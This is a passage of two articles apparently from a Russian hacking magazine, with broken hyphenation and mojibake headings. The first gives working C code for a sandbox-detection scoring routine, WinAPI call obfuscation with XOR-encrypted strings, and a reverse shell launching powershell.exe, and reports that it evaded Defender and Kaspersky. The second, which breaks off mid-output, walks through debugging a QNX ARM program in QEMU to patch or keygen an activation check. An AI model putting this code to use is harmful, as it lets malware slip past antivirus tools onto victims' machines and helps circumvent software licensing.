DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       29.45    9.32     20.14
E:       0.29     0.26     0.03
F:       1,024.00 1,023.86 0.13

Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       39.89    20.55    19.33

Hostname: MZLTRR848050884
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
-------- -------- -------- --------
C:       999.90   981.98   17.92
G:       999.90   981.98   17.92

Как вид но, встре чают ся лишь малень кие и час то пов торя ющиеся зна чения.

ÐÅÀËÈÇÀÖÈß

Так как не все дан ные на сто про цен тов говорят о том, что прог рамма
запуще на в вир туаль ной сре де, я решил исполь зовать методи ку из прак -
тичес кого экза мена в ГИБДД. Экза мен про дол жает ся, пока кан дидат
в водите ли либо не сдаст экза мен, либо не наберет семь штраф ных бал лов.
Так вот, за раз ные наруше ния начис ляет ся опре делен ное количес тво бал лов.
Есть наруше ния, пос ле которых экза мен завер шает ся сра зу (нап ример,
наруше ние при поворо те, раз вороте, пре выше ние ведет к получе нию сра зу
семи бал лов), а есть те, за которые кан дидат может получить от одно го
до четырех бал лов (ска жем, забыл вклю чить поворот ник или заг лох).

В нашем слу чае тоже есть парамет ры, по которым навер няка мож но опре -
делить, что прог рамма запуще на в вир туаль ной сре де: вир туаль ный виде -
оадап тер, игно риро вание фун кций , про цес сы, отно сящи еся к вир -
туали зации. А есть те, по которым мож но сде лать кос венные выводы, нап -
ример количес тво ядер про цес сора или чис ло запущен ных про цес сов.
Думаю, логика понят на.

sleep

Те перь сос тавим таб лицу с оце ноч ными тес тами.

Method

Check Sleep Positive Negative

Points 0 7

Method

Check Uptime <=10 min <=30 min <=1 hour

Points 7 4 1

Method

Check CPU <=1 <=2 <=4

Points 7 4 1

Method

Check MEM <=2 <=4 <=6

Points 7 4 1

Method

Check MAC Positive Negative

Points 0 4

Method

Check Process <=100 <=150 <=170

Points 7 4 1

Positive Negative

Points 0 7

Method

Check Video Positive Negative

Points 0 7

Method

Check Disk < 100 GB

Points 7

Method

Check Mouse Positive Negative

Points 0 7

Пол ный код я . Осно вой прог раммы будет невиди мое окно.
Идею я взял из видео  с канала First Steps.

вы ложил на GitHub
«Окно-невидим ка»

Вот часть кода, где соз дает ся окно и вызыва ется фун кция про вер ки:

 case WM_CREATE:
        {
            check_box();

             int a;
             for(;;) {

                // Инициализация генератора случайных чисел текущим 
временем
                srand(time(NULL));
                // Генерация числа от 1 до 100

                       int random_number = (rand() % 100) + 1;
                  a += random_number;

            }
        }

Продолжение статьи →

https://github.com/mister-utka/Anti_Box/
https://www.youtube.com/watch?v=tH4fdth9KuY&list=PLnB_Cndz0DHCKzaOngLPcVr9yd4mwmlh_&index=5
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Ес ли про вер ка прош ла успешно и мы не в вир туаль ной машине, фун кция
 завер шит работу прог раммы пос ле отра бот ки полез ной наг рузки.

В про тив ном слу чае прог рамма перей дет к бес конеч ному сло жению чисел.
Вот фун кция :

check_box

check_box

 int check_box()
{
       int check_result = 0;
       int local_result = 0;

      local_result = 0;
      local_result = Check_Sleep();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_Uptime();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_CPU_Info();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_MEM_Info();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_MAC();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_Process();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_First_Video_Device();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_Disk_Info();
        check_result = check_result + local_result;
        if(check_result >= 7) return 1;

      local_result = 0;
      local_result = Check_Mouse_Motion();

        check_result = check_result + local_result;
        if(check_result >= 7) return 1;
    Tapping();

    exit(0);
}

В этой час ти кода пос ледова тель но выпол няют ся про вер ки, и если набира -
ется семь или боль ше бал лов, то фун кция воз вра щает 1 и код перехо дит
к бес конеч ному скла дыва нию чисел. Если же про вер ки не обна ружи ли вир -
туаль ную сре ду, то прог рамма перехо дит к фун кции  (ана лог полез -

ной наг рузки), которая получа ет  сис темы и отправ ляет его POST-
зап росом мне на сер вер, что бы я мог опре делить, в какой вир туаль ной сре де
по тем или иным при чинам отра бота ла полез ная наг рузка.

Tapping
Hostname

На сер вере я дол жен получить при мер но такую кар тину:

id: Tapping
('user_ip', <ip>)
('user_agent', <user_agent>)
('date', 'yyyy-mm-dd hh:mm:ss')
('Width', <width>)
('Longitude', <Longitude>)
('hostname', <hostname>)
status code: 0

ÎÁÔÓÑÊÀÖÈß

Пер вое, что я решил сде лать, — это обфусци ровать фун кции Win32 API. Идею
я поза имс тво вал из статьи «

».
Кри вая дорож ка. Обфусци руем вызовы WinAPI

новыми спо соба ми
Вот при мер для фун кции . Если ском пилиро вать про ект

без обфуска ции, то мож но уви деть сле дующее:
GetSystemInfo

    strings main.exe | grep GetSystemInfo
GetSystemInfo
ProxyGetSystemInfo
GetSystemInfo
__imp_GetSystemInfo

А теперь обфусци руем ее выб ранным нами спо собом:

   void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
    // Создаем тип pGetSystemInfo, который представляет указатель на 
функцию,
    // принимающую указатель на SYSTEM_INFO и не возвращающую 
значение.
    // Это позволит динамически загружать функцию GetSystemInfo
      typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);

    // Имя функции "GetSystemInfo"
        

 
char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n',

'f','o','\0' };

    // Имя библиотеки "kernel32.dll"
        

 
char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l',

'l','\0' };

    // Загружаем дескриптор библиотеки kernel32.dll, которая 
содержит GetSystemInfo
       HMODULE hKernel32 = LoadLibraryA(name_dll);

    // Получаем адрес функции GetSystemInfo в этой библиотеке
       

 
pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress

(hKernel32, funcName);

    // Если функция загружена, вызываем ее
        if (GetSystemInfoFunc != NULL) {
        // Вызов функции GetSystemInfo
        GetSystemInfoFunc(lpSystemInfo);
      } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }

    // Освобождаем загруженную библиотеку
    FreeLibrary(hKernel32);
}

Те перь ком пилиру ем про ект и смот рим, оста лось ли упо мина ние о нашей
фун кции в ском пилиро ван ном фай ле:

strings main.exe | grep GetSystemInfo
ProxyGetSystemInfo

Как вид но, оста лось толь ко изме нен ное наиме нова ние фун кции, далее мы
его тоже заменим, но будем делать это в авто мати чес ком режиме с помощью
скрип та на Python.

Прок сиру ем таким обра зом все фун кции, которые исполь зуем в про екте.
Про тоти пы и сами фун кции лежат в фай ле .proxy_funck.с

Те перь нуж но изме нить наиме нова ния. Для это го я написал прос той
скрипт на Python, и теперь обфусци рован ная фун кция прок сирова ния

 выг лядит так:ProxyGetSystemInfo

   void hkgnxQepjmjsmmndk(LPSYSTEM_INFO qvkajTyhuqevm) {

      typedef void(WINAPI* fldzzGflcclknthgw)(LPSYSTEM_INFO);
        

 
char ydvyzAfgwfvmcefnzj[] = { 'G','e','t','S','y','s','t','e','m'

,'I','n','f','o','\0' };
        

 
char mcfdgNqypgvahfal[] = { 'k','e','r','n','e','l','3','2','.',

'd','l','l','\0' };
       HMODULE yinkaJpaggo = LoadLibraryA(mcfdgNqypgvahfal);
       

 
fldzzGflcclknthgw mbiloJfyaumc = (fldzzGflcclknthgw)

GetProcAddress(yinkaJpaggo, ydvyzAfgwfvmcefnzj);

        if (mbiloJfyaumc != NULL) {
        mbiloJfyaumc(qvkajTyhuqevm);
      } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }

    FreeLibrary(yinkaJpaggo);
}

Смот рим, есть ли какое-то упо мина ние о  в фай ле:GetSystemInfo

strings main.exe | grep GetSystemInfo

От лично. На самом деле обфусци ровать перемен ные, которые находят ся
внут ри фун кций (то есть локаль ные), нет смыс ла, они все рав но не отоб ража -
ются при ста тичес ком ана лизе фай ла. Глав ное — обфусци ровать име на фун -
кций, а так же стро ковые дан ные.

Стро ковые дан ные мы будем сох ранять как мас сивы char, таким обра зом
они не сох раня ются, как обыч ные стро ки.

Бы ло:

    const char *ip = "192.168.5.52";

Ста ло:

         
 

const char temp_ip[] = { '1','9','2','.','1','6','8','.','5','.',
'5','2','\0' };

        const char *ip = temp_ip;

ÒÅÑÒÈÐÓÅÌ!

Для начала нуж но про вес ти тес товую про вер ку с обыч ным фай лом, что бы
пос мотреть, как поведут себя ана лизи руемые сре ды. Вот код прог раммы,
которую мы будем тес тировать:

 #include <stdio.h>

 int main()
{
       char command[] = "powershell";
     printf("command: %s\n", command);
     return 0;
}

В том, что не будет лож нополо житель ных резуль татов, уве рен ности не было
с самого начала.

Нач нем c реаль ных машин. К сожале нию, у меня не так мно го тес товых компь -
юте ров, поэто му я про вел все го два тес та. При запус ке, как и дол жно было
получить ся, при лете ли отсту ки со сле дующи ми име нами:

id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-VAJCHE')
status code: 0

id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-AATCVQ')
status code: 0

А теперь реаль ные тес ты!

VirusTotal
В пер вую оче редь я решил .про тес тировать VirusTotal

А вот и про вер ка в песоч ницах.

Как вид но, те фун кции, которые мы прок сирова ли из DLL, здесь не зас -
ветились.

И тут моего IP нет (это тра фик из Microsoft Sysinternals).

Kaspersky
А вот резуль таты динами чес кого ска ниро вания от Kaspersky.

Ста тичес кий ана лиз так же не выявил, какие фун кции Win32 API исполь -
зовались в прог рамме.

Зап росов в интернет тоже не было.

Продолжение статьи →

https://xakep.ru/2025/03/07/winapi-obfuscation/
https://xakep.ru/2025/03/07/winapi-obfuscation/
https://www.virustotal.com/gui/file/23d38721b3f9d1029264a7c62bb25e8206150ae2c31ab9663a4a6a31aff55d00/behavior


ДЕТЕКТИМ СЭНДБОКСЫ
VIRUSTOTAL И KASPERSKY, ЧТОБЫ

СПРЯТАТЬ ВРЕДОНОСНЫЙ КОД

ВЗЛОМ  НАЧАЛО СТАТЬИ

В ито ге я не получил ни одно го зап роса. Мож но сде лать вывод, что песоч -
ницы были обна руже ны и прог рамма занялась под сче том чисел. Но мою
прог рамму слож но наз вать точ но работа ющей, потому как выбор ка на реаль -
ных физичес ких машинах слиш ком мала, что бы уве рен но говорить о резуль -
тате. Нап ример, изна чаль но при обна руже нии вир туаль ного MAC-адре са я
начис лял семь бал лов, но потом изме нил на четыре, так как в реаль ной
машине может при сутс тво вать вир туаль ный адап тер Hyper-V Virtual Ethernet
Adapter. Но все же резуль татом я доволен.

Од нако у нас не исполь зовалось никакой реаль но злов редной полез ной
наг рузки. Как нас чет сок рытия чего-то «такого»? Для при мера возь мем
reverse shell с сай та , а имен но код для Windows на C. Модифи -
цирую его, что бы в слу чае, если прог рамма не смо жет под клю чить ся, она
пред при няла еще одну попыт ку поз же:

revshells.com

 #include <winsock2.h>
 #include <stdio.h>

#pragma comment(lib,"ws2_32")

 WSADATA wsaData;
 SOCKET Winsock;
  struct sockaddr_in hax;

   char ip_addr[16] = "ip";
   char port[6] = "port";

 STARTUPINFO ini_processo;

 PROCESS_INFORMATION processo_info;

 int main()
{
     int i = 0;
       while ( i == 0 ){

      WSAStartup(MAKEWORD(2, 2), &wsaData);
           Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0
);

      struct hostent *host;
      host = gethostbyname(ip_addr);
        strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr
)));

      hax.sin_family = AF_INET;
      hax.sin_port = htons(atoi(port));
      hax.sin_addr.s_addr = inet_addr(ip_addr);

     int result;
          

  
result = WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL,

NULL, NULL, NULL);

        if (result != -1) {
        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
          ini_processo.dwFlags = STARTF_USESTDHANDLES |

STARTF_USESHOWWINDOW;
    

  
      ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo
.hStdError = (HANDLE)Winsock;

         TCHAR cmd[255] = TEXT("powershell.exe");

        
 

      CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &
ini_processo, &processo_info);

        i = 1;
      }
    else
      Sleep(60000);
  }

   return 0;
}

Этот код я уже све тил на VirusTotal и Kaspersky, поэто му он дол жен детек тить ся
как злов редный.

Все фун кции мы так же прок сиру ем, стро ковые перемен ные видо изме няем
в мас сивы. Теперь, если вир туаль ная сре да не будет обна руже на, дол жен
при лететь POST-зап рос с  машины и за ним уста нав ливать ся под -

клю чение reverse shell.

Hostname

Так выг лядит под клю чение с реаль ной машины.

VirusTotal
Вот резуль тат тес тирова ния прог раммы с полез ной наг рузкой на .VirusTotal

Kaspersky
А вот резуль таты про вер ки в инфраструк туре Kaspersky.

А теперь про тес тиру ем прог раммы с вклю чен ным анти виру сом на компь юте -
ре.

Для тес тов у меня их будет все го два: Microsoft Defender и Kaspersky.
Для начала про тес тиру ем с Defender’ом.

За пус каю скрипт и жду под клю чения. И я его получил!

Те перь дела ем то же самое, толь ко с Kaspersky Endpoint Security.

И он тоже про мол чал: уда лен ная машина под клю чилась к сер веру.

Но час тично фун кции обхо да песоч ниц анти вирус все-таки обна ружил.

По это му я решил зашиф ровать стро ки c исполь зовани ем XOR и пос мотреть,
что будет. Нап ример, так теперь выг лядит прок сирова ние фун кции

:GetSystemInfo

   void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
    // Создаем тип pGetSystemInfo, который представляет указатель на 
функцию, принимающую указатель на SYSTEM_INFO и не возвращающую 
значение. Это позволит динамически загружать функцию GetSystemInfo
      typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);

    // Ключ для дешифровки зашифрованных имен
        const char *key =
"DFEWPWPDSPFEPWEQOUSDFUIKKSLASDJQFSSKFLWKSKEFJLSS";

    // Зашифрованное имя функции "GetSystemInfo"
    // char funcName[] = "GetSystemInfo";
    // char funcName[] = { 'G','e','t','S','y','s','t','e','m','I',
'n','f','o','\0' };
              

      
char funcName[14] = {0x03, 0x23, 0x31, 0x04, 0x29, 0x24, 0x24,

0x21, 0x3E, 0x19, 0x28, 0x23, 0x3F, 0x00};
      Xor_Dencrypt(funcName, strlen(funcName), key);

    // Зашифрованное имя библиотеки "kernel32.dll"
    // char name_dll[] = "kernel32.dll";
    // char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d',
'l','l','\0' };
              

     
char name_dll[13] = {0x2F, 0x23, 0x37, 0x39, 0x35, 0x3B, 0x63,

0x76, 0x7D, 0x34, 0x2A, 0x29, 0x00};
      Xor_Dencrypt(name_dll, strlen(name_dll), key);

    // Загружаем дескриптор библиотеки kernel32.dll, которая 
содержит GetSystemInfo
       HMODULE hKernel32 = LoadLibraryA(name_dll);

    // Получаем адрес функции GetSystemInfo в этой библиотеке
       

 
pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress

(hKernel32, funcName);

    // Если функция загружена, вызываем ее
        if (GetSystemInfoFunc != NULL) {
        // Вызов функции GetSystemInfo
        GetSystemInfoFunc(lpSystemInfo);
      } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }

    // Освобождаем загруженную библиотеку
    FreeLibrary(hKernel32);
}

По лучен ный  обна дежи вает.ре зуль тат

Уш ло упо мина ние об anti-analysis.

А вот .ре зуль тат от Kaspersky

Ни один зап рос так и не при летел. В общем, Symantec обой ти тоже не уда -
лось. Как я понял, это широко исполь зуемое за рубежом анти вирус ное ПО,
но про него мне вооб ще поч ти ничего не извес тно. Так же Deep Instinct,
SecureAge и Elastic помети ли наг рузку как злов редную. Но получен ный
резуль тат луч ше, чем без шиф рования строк.

ÂÛÂÎÄÛ

Этим при мером я хотел про демонс три ровать, что луч шим анти вирус ным
решени ем до сих пор оста ется свет лая голова: далеко не всег да анти вирус -
ные решения, а так же ана лиза торы могут обна ружить злов реды. И нет, я
не говорю, что анти виру сы не нуж ны: сам сижу с вклю чен ным анти виру сом
и при этом в свое вре мя умуд рился сло вить май нер. Луч ше при дер живать ся
баналь ного пра вила: не запус кать подоз ритель ные прог раммы, пос коль ку
даже их про вер ка на вир туаль ных машинах или на таких сай тах, как VirusTotal,
не даст стоп роцен тной гаран тии безопас ности.

https://www.revshells.com/
https://www.virustotal.com/gui/file/04e09c6a00079fccad487420e48b29b54c71356e9d9d413868f729d488fc1c4d/behavior
https://www.virustotal.com/gui/file/a1aa1b32601e59cb0fa88d047b14f0209bc40a0fd77a1991a88d6896c8c596e6?nocache=1
https://opentip.kaspersky.com/A1AA1B32601E59CB0FA88D047B14F0209BC40A0FD77A1991A88D6896C8C596E6/results?tab=upload
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ВЗЛОМ

Ког да x86 и Windows уже при елись, а уют -
ный x64dbg боль ше не раду ет глаз, пора
перехо дить к нас тояще му хар дко ру. ARM,
QNX, эму лятор QEMU и ста рый доб рый
GDB — вот инс тру мен ты для тех, кто
не ищет лег ких путей. Сегод ня мы запус тим
экзо тичес кую ОС, под клю чим ся к ней через
вир туаль ный адап тер и шаг за шагом раз -
берем логику прог раммы пря мо на лету,
без лиш него ком форта, но с изрядной
долей азар та.

Ты, веро ятно, уже заметил, что боль шинс тво  пос вящено раз бору
задач под Windows на про цес сорах семей ства Intel. Это нехоро шо, и я изо
всех сил ста раюсь раз нооб разить темати ку иссле дова нием экзо тичес ких
вир туаль ных машин и про цес соров.

мо их ста тей

Вир туал ки, каюсь, мною охва чены в мень шей сте пени по весь ма ува -
житель ной при чине: задачи под них очень неудоб но отла живать в динами ке
и при ходит ся огра ничи вать ся ста тичес ким ана лизом. Одна ко при желании
всег да мож но най ти выход, даже такой нес тандар тный, как исполь зование
раз личных эму лято ров. Ты, веро ятно, пом нишь мои статьи, пос вящен ные эму -
лято рам  или . На этот раз я
хочу обра тить твое вни мание на леген дарный , при помощи
которо го мы будем ана лизи ровать при ложе ния, реали зован ные под ARM
QNX.

SheepShaver для Mac OS BlueStacks под Android
эму лятор QEMU

До это го мы уже , но иссле дова ли его исклю читель -
но в дизас сем бле ре, сегод ня у нас появи лась счас тли вая воз можность про -
щупать его в динами ке, при чем на PC и даже из-под Windows.

стал кивались и с ARM

Возь мем в качес тве паци ента некое устрой ство, фун кци они рующее
под опе раци онной сис темой QNX на про цес соре ARM. Из эти чес ких сооб -
ражений не будем рас кры вать наз вание прог раммы и под робнос ти о спе -
цифи ке ее работы, так же оста вим за скоб ками про цесс сня тия дам па с это го
при ложе ния. Кро ме того, я не буду отвле кать ся на про цесс уста нов ки QEMU
и заг рузки обра за, об этом написа но .мно го ста тей

По усло вию нашей задачи фай ловая сис тема устрой ства уже заг ружена
в QEMU и успешно там фун кци они рует. В окон чатель ной фор мулиров ке наша
цель выг лядит так: путем пат ча или кей гена добить ся валид ности акти ваци -
онно го кода (на скрин шоте выделе но голубым) в акти ваци онной стро ке
(выделе но крас ным), которую скар мли вают прог рамме при помощи спе -
циаль ного акти ваци онно го Lua-скрип та. На пред став ленном ниже изоб -
ражении резуль тат про вер ки выделен жел тым.

Нач нем с под клю чения отладчи ка GDB. Об этом тоже написа но  
ста тей, но почему-то все они как-то стыд ливо умал чива ют о нас трой ке
сетево го под клю чения. У непод готов ленно го поль зовате ля может сло жить ся
лож ное впе чат ление, что опции  впол не дос таточ но, что бы GDB уви дел
QEMU по 1234-му пор ту.

мно го раз ных

-s -S

На самом деле это, конеч но, не так, поэто му чуть под робнее оста нов люсь
на под клю чении отладчи ка через вир туаль ный сетевой адап тер. Лич но у меня
получи лось под клю чить толь ко так. На сай те QEMU опи сан ный спо соб
показан , я же поп робую сво ими сло вами на паль цах объ -
яснить пошаго вую пос ледова тель ность дей ствий, необ ходимых для его
реали зации, пос коль ку она не сов сем оче вид на.

в отдель ной статье

Для начала нам тре бует ся соз дать новое сетевое под клю чение с име нем
 (Панель управле ния  Сеть и Интернет  Сетевые под клю чения).tap0

Соз дать его тоже не так-то прос то: лич но у меня это получи лось толь ко путем
уста нов ки . Соз дав вир туаль ный адап тер, мы про писы ваем у него
в нас трой ках сле дующую информа цию.

OpenVPN

Пос ле это го добав ляем в коман дную стро ку QEMU опцию 

, и мож но тес тировать под клю чение отладчи ков к эму -

лято ру. Я понимаю, что ты уже при вык к удоб ному уют ному x64dbg и, самое
смеш ное, что с его помощью тоже мож но отла живать при ложе ния в эму лято -
ре, но мы, навер ное, оста вим такую стран ную экзо тику для какой-нибудь сле -
дующей статьи. В этот раз мы нач нем с самого удоб ного спо соба отладки —
при помощи уже хорошо извес тно го нам дизас сем бле ра IDA.

-nic tap,
ifname=tap0,id=hub0

Для тебя, веро ятно, уже не новость, что этот дизас сем блер осна щен собс -
твен ным отладчи ком. Хотя, конеч но, все уни вер саль ное хуже спе циаль ного,
и он силь но про игры вает в удобс тве и надеж ности x64dbg. Но в дан ном слу -
чае это самое мень шее из всех зол.

Во обще-то про цесс под клю чения IDA к QEMU через GDB под робно и с
цвет ными кар тинка ми опи сан на сай те , одна ко я сно ва поп робую
изло жить его сво ими сло вами, пос коль ку там тоже есть нюан сы.

Hex-Rays

Итак, пос ле опи сан ной выше нас трой ки QEMU и его запус ка мы вво дим
в его кон соль коман ду . Затем откры ваем в IDA меню Debugger

 Attach  Remote GDB debugger и перехо дим к окну нас тро ек под клю чения,
в которое (исхо дя из выб ранных выше нас тро ек) вво дим сле дующую
информа цию.

pdebug 1234

Да лее в окне GDB conguration (Debugger options  Set specic options) нуж -
но обя затель но ука зать тип про цес сора (в нашем слу чае это ARM Little-
endian), ина че IDA, ско рее все го, рух нет при атта че.

Од нако при попыт ке под клю чения IDA про сит имя или PID запущен ного в эму -
лято ре про цес са, а нам он неиз вестен, и спи сок выбора пус той.

При попыт ке выб рать про цесс 0 IDA успешно кон нектит ся к эму лято ру,
и хотя бы это раду ет: зна чит, мы всё сде лали пра виль но.

Поп робу ем все-таки опре делить, какой имен но про цесс обра баты вает наш
зап рос. Для начала пос мотрим спи сок запущен ных в QEMU про цес сов.
К сожале нию, в QNX нет при выч ной коман ды , зато есть , которая
выводит иско мое.

ps pidin ar

Спи сок про цес сов

По счастью, про цес сов обна ружи лось нем ного. Раз берем ся, какой из них нам
нужен. На самом пер вом скрин шоте жел тым цве том выделен резуль тат про -
вер ки валид ности. Веро ятно, подс тро ка  при сутс тву ет в нуж ном

нам модуле. Начиная про вер ку сни зу спис ка, мы сра зу обна ружи ваем его
поис ком . Вытас кива ем этот модуль и заг ружа ем в IDA — иско мая стро ка
дей стви тель но там есть.

validState:

grep

По идее, на этом нашу задачу уже мож но было бы счи тать решен ной, ведь
дос таточ но закоро тить про вер ку

   if ( *a2 )

на безус ловный переход:

  v3 = 1;

Но мы поп робу ем доис кать ся до исходной про вер ки, ведь эта фун кция может
ока зать ся лишь отла доч ной печатью ста туса. По лис тингу вид но, что валид -
ность кода зависит от парамет ра , переда ваемо го в фун кцию: если он ука -

зыва ет на 0 — код валид ный. Параметр  переда ется в  через

регистр , одна ко неп росто понять, отку да он берет ся: пря мых ссы лок
на  нет.

a2
a2 sub_1183F8

R1
sub_1183F8

Хо роший повод про верить отладчик! Ста вим точ ку оста нова (F2) на адрес
 и нажима ем Debugger  Attach to process. Если мы всё сде лали пра -

виль но, то IDA успешно под клю чит ся к про цес су, который будет отоб ражать ся
синим цве том в зеленой полос ке навер ху окна.

1183F8

Ес ли что-то пой дет не так и IDA будет ругать ся при под клю чении, ссы лаясь
на пра ва дос тупа и про чую ерун ду, прос то про верь пра виль ность адре сов
и нас тро ек в окне Debugger  Process options.

Жмем Debugger  Continue process (F9), и на экра не появит ся окош ко
Running с единс твен ной кно поч кой Suspend. Пос ле это го в кон соли QEMU
запус каем акти ваци онный скрипт — про цесс при тор мозит на нашей точ ке
оста нова. По сте ку (окно вни зу спра ва) опре деля ем адрес воз вра та .4FD1D4

Поп робу ем пре обра зовать это мес то в псев докод.

Фун кция  вызыва ется из , ее вто рой параметр тут

называ ется . По это му ука зате лю прис ваивает ся зна чение , по сов -

падению явля ющееся вто рым парамет ром . Судя по сооб щению
дву мя стро ками выше это го прис ваива ния,  — это резуль тат акти вации, что

выг лядит впол не логич но: 0 — успешная акти вация, ина че воз вра щает ся
номер ошиб ки (в нашем слу чае — 2). Под нявшись чуть выше по сте ку воз вра -
тов, мы находим мес то вызова .

sub_1183F8 sub_4FD0DC
v12 a2

sub_4FD0DC
a2

sub_4FD0DC

По хоже, мы отыс кали обра бот чик оши бок акти вации и пра виль ную вет ку кода,
на которой акти вация про ходит успешно ( ). В даль -
нейшее мы не будем углублять ся, пос коль ку оста лась чис то тех ничес кая
часть: или закоро тить дан ную фун кцию сра зу на исполне ние кор рек тной вет -
ки, или (что более пра виль но) искать и ревер сить алго ритм верифи кации
акти ваци онно го кода, что бы сде лать кей ген.

sub_4FD0DC(a1, 0);

К теме нашей статьи это уже отно шения не име ет, поэто му в зак лючение я
луч ше рас ска жу тебе, как про ходить эту пос ледова тель ность в том слу чае,
если IDA по какой-либо при чине не уви дит QEMU. К сожале нию, такая воз -
можность впол не неил люзор на, и внят ных объ ясне ний в сети я не нашел,
поэто му тебе всег да нуж но быть готовым к нас тояще му хар дко ру — отладке
при помощи голого отладчи ка GDB. Поп робу ем пошаго во пов торить опи сан -
ный про цесс.

Сра зу пре дуп реждаю, что этот путь сло жен и тер нист, труд ности под сте -
рега ют уже в самом его начале — получить сам отладчик GDB под ARM
и QNX. Это сво бод ное откры тое прог рам мное обес печение, рас простра -
няющееся в исходни ках (ска чать мож но ), одна ко самому соб рать
бинар ник из лежащих там исходни ков — тот еще квест, для решения которо го
рам ки этой статьи тес ны.

здесь

На чаль ное нап равле ние мож но получить, нап ример, ,
а мы пред полага ем, что у нас уже име ется ском пилиро ван ный бинар ник это го
отладчи ка под нашу вер сию про цес сора. В этом слу чае пос ле опи сан ных
выше нас тро ек эму лято ра QEMU, его запус ка и вво да в кон соль коман ды

 запус каем GDB в дру гом окне и в нем набира ем коман ду под -

клю чения:

на Stack Overow

pdebug 1234

target qnx 192.168.1.200:1234

Ес ли мы ничего не напута ли, в окне GDB появит ся сле дующее сооб щение.

Те перь нам сно ва тре бует ся под клю чить ся к нуж ному про цес су из отладчи ка
GDB. На скрин шоте со спис ком про цес сов мы опре дели ли PID нуж ного про -
цес са — . Для под клю чения к нему в кон соли GDB набира ем коман ду512024

attach 512024

Не обра щаем вни мания на мно гочис ленные сооб щения об ошиб ках, GDB
успешно под клю чил ся к про цес су  и, так же как и в IDA, оста новил ся

на про межу точ ной точ ке оста нова . Эму лятор в момент оста нова
тоже замер знет, а мы вос поль зуем ся паузой, что бы (как было про дела но
выше) пос тавить точ ку оста нова на адрес . Поз волю себе малень кое

лиричес кое отступ ление про осо бен ности отладчи ка GDB.

512024
1037878

1183F8

Как я уже говорил, про цесс отладки при ложе ния в отладчи ке GDB дос -
таточ но экзо тичен. GDB, как ты уже понял, пол ностью лишен гуя и управля ется
исклю читель но коман дами из кон соли. В этом он боль ше все го напоми нает
DOS’овский отладчик , в котором мне, как хакеру ста рой шко лы,
в свое вре мя при ходи лось мно го и кро пот ливо работать. С пол ным спра воч -
ником команд GDB мож но озна комить ся на  или ,
в дан ный момент нас инте ресу ют .

debug.com

sourceware.org opennet.ru
ко ман ды оста нова

Да же бег ло озна комив шись с опци ями точек оста нова GDB, ты понима -
ешь, что, нес мотря на край нюю нед ружес твен ность к поль зовате лю, это очень
гиб кий инс тру мент, воз можнос ти которо го не усту пают условным точ кам
оста нова x64dbg, а кое-где даже пре вос ходят их. Здесь на каж дую точ ку оста -
нова мож но повесить весь ма слож ные скрип ты, нас тра ивающие выпол нение
прог раммы в отладчи ке по воле и фан тазии поль зовате ля. А из них даже мож -
но вызывать фун кции и бло ки кода, реали зован ные в при ложе нии, одна ко
это тоже тема для отдель ной статьи. Сей час нам нуж но прос тые точ ки оста -
нова на адре се :1183F8

b *0x1183F8

Вро де все прос то и понят но, звез дочка перед адре сом озна чает, что сле -
дующая за ней стро ка 0x1183F8 — это имен но шес тнад цатерич ный адрес,
а не иден тифика тор из таб лицы отла доч ных сим волов, которую мы не под клю -
чили к отладчи ку, потому что у нас ее поп росту нет. Далее коман дой 

(continue) мы раз моражи ваем QEMU (отладчик при этом, наобо рот, замира ет
в ожи дании точ ки оста нова) и в кон соли QEMU запус каем акти ваци онный
скрипт.

c

Как видишь, по дос тижении адре са  точ ка оста нова сра бота ла, мы

оста нови лись на ней в GDB, а выпол нение прог раммы в QEMU сно ва замер -
ло. При оста новив прог рамму, мы можем делать свои дела: нап ример, пос -
мотреть код, на котором мы оста нови лись. Что бы показать пять дизас сем -
бли рован ных команд по адре су из регис тра , набира ем в GDB 

и получа ем такой лис тинг:

1183F8

PC x/5i $pc

(gdb) x/5i $pc
0x1183f8:       push    {r4, r5, r6, r7, r8, r10, r11, lr}
0x1183fc:       add     r11, sp, #28    ; 0x1c
0x118400:       sub     sp, sp, #64     ; 0x40
0x118404:       ldr     r3, [pc, #324]  ; 0x118550
0x118408:       mov     r4, r0
(gdb)

Нам нужен был стек воз вра тов? Набира ем , получа ем четыре вер -

хних зна чения на сте ке:

x/4x $sp

0xfffb18:       0x00fffb5c      0x004fd1d4      0x006c382c      
